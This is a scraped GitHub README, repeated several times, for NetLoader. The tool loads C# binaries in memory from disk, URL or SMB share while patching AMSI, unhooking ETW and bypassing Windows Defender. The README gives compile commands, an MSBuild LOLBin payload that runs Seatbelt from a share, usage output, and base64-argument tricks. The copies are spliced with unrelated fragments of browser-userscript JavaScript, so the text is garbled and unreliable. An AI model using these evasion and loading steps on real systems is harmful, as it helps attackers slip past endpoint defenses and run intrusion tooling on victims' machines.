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NetLoader

Loads any C# binary from filepath or url, patching AMSI and unhooks ETW

** 01.10.2021 : Non-Obfuscated source code + SharpSploit to 'bypass' userland hooks when patching AMSI and ETW**

Looking for binaries/payloads to deploy? Checkout SharpCollection!.
SharpCollection contains nightly builds of C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.

Compile

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:RandomName.exe Program.cs

Deploy via LOLBin (MSBuild)

Payload for MSBuild is in the /LOLBins folder, might push this for varius other LOLBins aswell. Arguments have to be added into the bottom XML file when NetLoader is deployed using MSBuild

Adding arguments to the XML payload
public class ClassExample : Task, ITask
{
public override bool Execute()
{	//Add your arguments here SoullikePrincelier.Main(new string[] { "--path", "\\smbshare\Seatbelt.exe" });
return true;
}
}
For 64 bit:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe NetLoader.xml
For 32 bit:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe NetLoader.xml

Usage

Deploy payload from local path or SMB share (note that NetLoader automatically detects whether the path provided is local or remote)

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --path Seatbelt.exe --args whoami
[!] ~Flangvik , ~Arno0x #NetLoader
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,008 seconds

Supports base64 inputs for those long strings that would usually break stuff!

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --b64 --path U2VhdGJlbHQuZXhl --args d2hvYW1p
[!] ~Flangvik , ~Arno0x #NetLoader
[+] All arguments are Base64 encoded, decoding them on the fly
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,006 seconds

Todo

  • Automate the build and release of many of the Sharp Tools so they automagically appear in /BinariesSharpCollection (CDI / Azure DevOps)
  • Add support for non-interactive use (input args)
  • Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment)
  • Add an working MSBuild XML payload for the LOLBins lovers (Myself included)
  • Update with credits and links to the github repos that /BinariesSharpCollection are compiled from

Credits

Arno0x for the partial rewrite that is now merged into the main repo see gist_RastaMouse for the AMSI bypass

About

Loads any C# binary in mem, patching AMSI and bypassing Windows Defender

Resources

Stars

1 star

Watchers

0 watching

Forks

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Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Add copy buttons to all
 blocks\n(function() {\n function addCopyButtons() {\n document.querySelectorAll('pre code').forEach(function(codeBlock) {\n if (codeBlock.parentElement.hasAttribute('data-copy-added')) return;\n codeBlock.parentElement.setAttribute('data-copy-added', 'true');\n \n var btn = document.createElement('button');\n btn.textContent = 'Copy';\n btn.style.cssText = 'position:absolute;top:4px;right:4px;padding:2px 8px;font-size:11px;background:#4ecdc4;border:none;border-radius:4px;color:#1a1a2e;cursor:pointer;opacity:0.7;transition:opacity 0.2s;';\n btn.onmouseover = function() { this.style.opacity = '1'; };\n btn.onmouseout = function() { this.style.opacity = '0.7'; };\n btn.onclick = function() {\n navigator.clipboard.writeText(codeBlock.textContent).then(function() {\n btn.textContent = 'Copied!';\n setTimeout(function() { btn.textContent = 'Copy'; }, 1500);\n });\n };\n codeBlock.parentElement.style.position = 'relative';\n codeBlock.parentElement.appendChild(btn);\n });\n }\n \n addCopyButtons();\n \n // Re-run on dynamic content\n var observer = new MutationObserver(addCopyButtons);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Add Copy Buttons to Code Blocks");
}
} catch(__e) { console.warn('[Userscript:Add Copy Buttons to Code Blocks]', __e); }
})();
(function(){
try {
var __m = "github.com";
var __re = new RegExp('^' + "github\\.com" + '
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NetLoader

Loads any C# binary from filepath or url, patching AMSI and unhooks ETW

** 01.10.2021 : Non-Obfuscated source code + SharpSploit to 'bypass' userland hooks when patching AMSI and ETW**

Looking for binaries/payloads to deploy? Checkout SharpCollection!.
SharpCollection contains nightly builds of C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.

Compile

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:RandomName.exe Program.cs

Deploy via LOLBin (MSBuild)

Payload for MSBuild is in the /LOLBins folder, might push this for varius other LOLBins aswell. Arguments have to be added into the bottom XML file when NetLoader is deployed using MSBuild

Adding arguments to the XML payload
public class ClassExample : Task, ITask
{
public override bool Execute()
{	//Add your arguments here SoullikePrincelier.Main(new string[] { "--path", "\\smbshare\Seatbelt.exe" });
return true;
}
}
For 64 bit:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe NetLoader.xml
For 32 bit:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe NetLoader.xml

Usage

Deploy payload from local path or SMB share (note that NetLoader automatically detects whether the path provided is local or remote)

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --path Seatbelt.exe --args whoami
[!] ~Flangvik , ~Arno0x #NetLoader
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,008 seconds

Supports base64 inputs for those long strings that would usually break stuff!

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --b64 --path U2VhdGJlbHQuZXhl --args d2hvYW1p
[!] ~Flangvik , ~Arno0x #NetLoader
[+] All arguments are Base64 encoded, decoding them on the fly
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,006 seconds

Todo

  • Automate the build and release of many of the Sharp Tools so they automagically appear in /BinariesSharpCollection (CDI / Azure DevOps)
  • Add support for non-interactive use (input args)
  • Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment)
  • Add an working MSBuild XML payload for the LOLBins lovers (Myself included)
  • Update with credits and links to the github repos that /BinariesSharpCollection are compiled from

Credits

Arno0x for the partial rewrite that is now merged into the main repo see gist_RastaMouse for the AMSI bypass

About

Loads any C# binary in mem, patching AMSI and bypassing Windows Defender

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Force GitHub README to respect dark mode\n(function() {\n var style = document.createElement('style');\n style.textContent = '\n .markdown-body {\n color-scheme: dark light;\n }\n .markdown-body pre { background: #161b22 !important; }\n .markdown-body code { background: rgba(110, 118, 129, 0.4) !important; }\n .markdown-body table th, .markdown-body table td { border-color: #30363d !important; }\n .markdown-body img { background: #0d1117; }\n .markdown-body blockquote { border-left-color: #8b949e; }\n .markdown-body hr { border-color: #30363d; }\n ';\n document.head.appendChild(style);\n})();", "GitHub Dark Mode README Fix"); } } catch(__e) { console.warn('[Userscript:GitHub Dark Mode README Fix]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
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NetLoader

Loads any C# binary from filepath or url, patching AMSI and unhooks ETW

** 01.10.2021 : Non-Obfuscated source code + SharpSploit to 'bypass' userland hooks when patching AMSI and ETW**

Looking for binaries/payloads to deploy? Checkout SharpCollection!.
SharpCollection contains nightly builds of C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.

Compile

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:RandomName.exe Program.cs

Deploy via LOLBin (MSBuild)

Payload for MSBuild is in the /LOLBins folder, might push this for varius other LOLBins aswell. Arguments have to be added into the bottom XML file when NetLoader is deployed using MSBuild

Adding arguments to the XML payload
public class ClassExample : Task, ITask
{
public override bool Execute()
{	//Add your arguments here SoullikePrincelier.Main(new string[] { "--path", "\\smbshare\Seatbelt.exe" });
return true;
}
}
For 64 bit:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe NetLoader.xml
For 32 bit:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe NetLoader.xml

Usage

Deploy payload from local path or SMB share (note that NetLoader automatically detects whether the path provided is local or remote)

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --path Seatbelt.exe --args whoami
[!] ~Flangvik , ~Arno0x #NetLoader
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,008 seconds

Supports base64 inputs for those long strings that would usually break stuff!

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --b64 --path U2VhdGJlbHQuZXhl --args d2hvYW1p
[!] ~Flangvik , ~Arno0x #NetLoader
[+] All arguments are Base64 encoded, decoding them on the fly
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,006 seconds

Todo

  • Automate the build and release of many of the Sharp Tools so they automagically appear in /BinariesSharpCollection (CDI / Azure DevOps)
  • Add support for non-interactive use (input args)
  • Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment)
  • Add an working MSBuild XML payload for the LOLBins lovers (Myself included)
  • Update with credits and links to the github repos that /BinariesSharpCollection are compiled from

Credits

Arno0x for the partial rewrite that is now merged into the main repo see gist_RastaMouse for the AMSI bypass

About

Loads any C# binary in mem, patching AMSI and bypassing Windows Defender

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Highlight search terms from Google/DuckDuckGo/Bing referrer\n(function() {\n var ref = document.referrer;\n var terms = [];\n \n if (ref.includes('google.com') || ref.includes('duckduckgo.com') || ref.includes('bing.com')) {\n var url = new URL(ref);\n var q = url.searchParams.get('q') || url.searchParams.get('p');\n if (q) {\n terms = q.split(/\\s+/).filter(function(t) { return t.length > 2; });\n }\n }\n \n if (terms.length === 0) return;\n \n var style = document.createElement('style');\n style.textContent = '.userscript-highlight { background: #fbbf24; color: #1a1a2e; padding: 1px 3px; border-radius: 2px; }';\n document.head.appendChild(style);\n \n function highlight(node) {\n if (node.nodeType === 3) { // text node\n var text = node.textContent;\n var found = false;\n terms.forEach(function(term) {\n var regex = new RegExp('(' + term.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\') + ')', 'gi');\n if (regex.test(text)) {\n found = true;\n var frag = document.createDocumentFragment();\n var parts = text.split(regex);\n parts.forEach(function(part, i) {\n if (i % 2 === 0) {\n frag.appendChild(document.createTextNode(part));\n } else {\n var span = document.createElement('span');\n span.className = 'userscript-highlight';\n span.textContent = part;\n frag.appendChild(span);\n }\n });\n node.parentNode.replaceChild(frag, node);\n }\n });\n } else if (node.nodeType === 1 && node.childNodes) { // element\n var skipTags = ['SCRIPT', 'STYLE', 'NOSCRIPT', 'TEXTAREA', 'INPUT', 'SELECT'];\n if (!skipTags.includes(node.tagName)) {\n Array.from(node.childNodes).forEach(highlight);\n }\n }\n }\n \n highlight(document.body);\n \n // Re-highlight on dynamic content\n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1 || node.nodeType === 3) highlight(node);\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Highlight Search Terms"); } } catch(__e) { console.warn('[Userscript:Highlight Search Terms]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

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NetLoader

Loads any C# binary from filepath or url, patching AMSI and unhooks ETW

** 01.10.2021 : Non-Obfuscated source code + SharpSploit to 'bypass' userland hooks when patching AMSI and ETW**

Looking for binaries/payloads to deploy? Checkout SharpCollection!.
SharpCollection contains nightly builds of C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.

Compile

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:RandomName.exe Program.cs

Deploy via LOLBin (MSBuild)

Payload for MSBuild is in the /LOLBins folder, might push this for varius other LOLBins aswell. Arguments have to be added into the bottom XML file when NetLoader is deployed using MSBuild

Adding arguments to the XML payload
public class ClassExample : Task, ITask
{
public override bool Execute()
{	//Add your arguments here SoullikePrincelier.Main(new string[] { "--path", "\\smbshare\Seatbelt.exe" });
return true;
}
}
For 64 bit:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe NetLoader.xml
For 32 bit:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe NetLoader.xml

Usage

Deploy payload from local path or SMB share (note that NetLoader automatically detects whether the path provided is local or remote)

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --path Seatbelt.exe --args whoami
[!] ~Flangvik , ~Arno0x #NetLoader
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,008 seconds

Supports base64 inputs for those long strings that would usually break stuff!

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --b64 --path U2VhdGJlbHQuZXhl --args d2hvYW1p
[!] ~Flangvik , ~Arno0x #NetLoader
[+] All arguments are Base64 encoded, decoding them on the fly
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,006 seconds

Todo

  • Automate the build and release of many of the Sharp Tools so they automagically appear in /BinariesSharpCollection (CDI / Azure DevOps)
  • Add support for non-interactive use (input args)
  • Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment)
  • Add an working MSBuild XML payload for the LOLBins lovers (Myself included)
  • Update with credits and links to the github repos that /BinariesSharpCollection are compiled from

Credits

Arno0x for the partial rewrite that is now merged into the main repo see gist_RastaMouse for the AMSI bypass

About

Loads any C# binary in mem, patching AMSI and bypassing Windows Defender

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Strip utm_, fbclid, gclid, etc. from all links on page\n(function() {\n var trackingParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',\n 'fbclid', 'gclid', 'dclid', 'msclkid', 'yclid',\n 'ref', 'ref_src', 'source', 'medium', 'campaign'];\n \n function cleanUrl(url) {\n try {\n var u = new URL(url, window.location.origin);\n var changed = false;\n trackingParams.forEach(function(p) {\n if (u.searchParams.has(p)) {\n u.searchParams.delete(p);\n changed = true;\n }\n });\n return changed ? u.toString() : url;\n } catch (e) {\n return url;\n }\n }\n \n function cleanLinks() {\n document.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n \n cleanLinks();\n \n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1) {\n if (node.tagName === 'A') cleanLinks();\n node.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Remove Tracking Parameters from Links"); } } catch(__e) { console.warn('[Userscript:Remove Tracking Parameters from Links]', __e); } })(); (function(){ try { var __m = "youtube.com"; var __re = new RegExp('^' + "youtube\\.com" + '
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NetLoader

Loads any C# binary from filepath or url, patching AMSI and unhooks ETW

** 01.10.2021 : Non-Obfuscated source code + SharpSploit to 'bypass' userland hooks when patching AMSI and ETW**

Looking for binaries/payloads to deploy? Checkout SharpCollection!.
SharpCollection contains nightly builds of C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.

Compile

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:RandomName.exe Program.cs

Deploy via LOLBin (MSBuild)

Payload for MSBuild is in the /LOLBins folder, might push this for varius other LOLBins aswell. Arguments have to be added into the bottom XML file when NetLoader is deployed using MSBuild

Adding arguments to the XML payload
public class ClassExample : Task, ITask
{
public override bool Execute()
{	//Add your arguments here SoullikePrincelier.Main(new string[] { "--path", "\\smbshare\Seatbelt.exe" });
return true;
}
}
For 64 bit:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe NetLoader.xml
For 32 bit:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe NetLoader.xml

Usage

Deploy payload from local path or SMB share (note that NetLoader automatically detects whether the path provided is local or remote)

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --path Seatbelt.exe --args whoami
[!] ~Flangvik , ~Arno0x #NetLoader
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,008 seconds

Supports base64 inputs for those long strings that would usually break stuff!

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --b64 --path U2VhdGJlbHQuZXhl --args d2hvYW1p
[!] ~Flangvik , ~Arno0x #NetLoader
[+] All arguments are Base64 encoded, decoding them on the fly
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,006 seconds

Todo

  • Automate the build and release of many of the Sharp Tools so they automagically appear in /BinariesSharpCollection (CDI / Azure DevOps)
  • Add support for non-interactive use (input args)
  • Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment)
  • Add an working MSBuild XML payload for the LOLBins lovers (Myself included)
  • Update with credits and links to the github repos that /BinariesSharpCollection are compiled from

Credits

Arno0x for the partial rewrite that is now merged into the main repo see gist_RastaMouse for the AMSI bypass

About

Loads any C# binary in mem, patching AMSI and bypassing Windows Defender

Resources

Stars

1 star

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0 watching

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Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Auto-enable theater mode on YouTube\n(function() {\n function tryTheater() {\n var btn = document.querySelector('button[aria-label=\"Theater mode\"], ytd-player #player button[title=\"Theater mode\"]');\n if (btn && !btn.classList.contains('activated')) {\n btn.click();\n }\n }\n \n // Try immediately\n tryTheater();\n \n // Try after navigation (SPA)\n var lastUrl = location.href;\n setInterval(function() {\n if (location.href !== lastUrl) {\n lastUrl = location.href;\n setTimeout(tryTheater, 500);\n }\n }, 1000);\n \n // Also try on player load\n var observer = new MutationObserver(tryTheater);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "YouTube Theater Mode Default"); } } catch(__e) { console.warn('[Userscript:YouTube Theater Mode Default]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
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NetLoader

Loads any C# binary from filepath or url, patching AMSI and unhooks ETW

** 01.10.2021 : Non-Obfuscated source code + SharpSploit to 'bypass' userland hooks when patching AMSI and ETW**

Looking for binaries/payloads to deploy? Checkout SharpCollection!.
SharpCollection contains nightly builds of C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.

Compile

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:RandomName.exe Program.cs

Deploy via LOLBin (MSBuild)

Payload for MSBuild is in the /LOLBins folder, might push this for varius other LOLBins aswell. Arguments have to be added into the bottom XML file when NetLoader is deployed using MSBuild

Adding arguments to the XML payload
public class ClassExample : Task, ITask
{
public override bool Execute()
{	//Add your arguments here SoullikePrincelier.Main(new string[] { "--path", "\\smbshare\Seatbelt.exe" });
return true;
}
}
For 64 bit:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe NetLoader.xml
For 32 bit:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe NetLoader.xml

Usage

Deploy payload from local path or SMB share (note that NetLoader automatically detects whether the path provided is local or remote)

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --path Seatbelt.exe --args whoami
[!] ~Flangvik , ~Arno0x #NetLoader
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
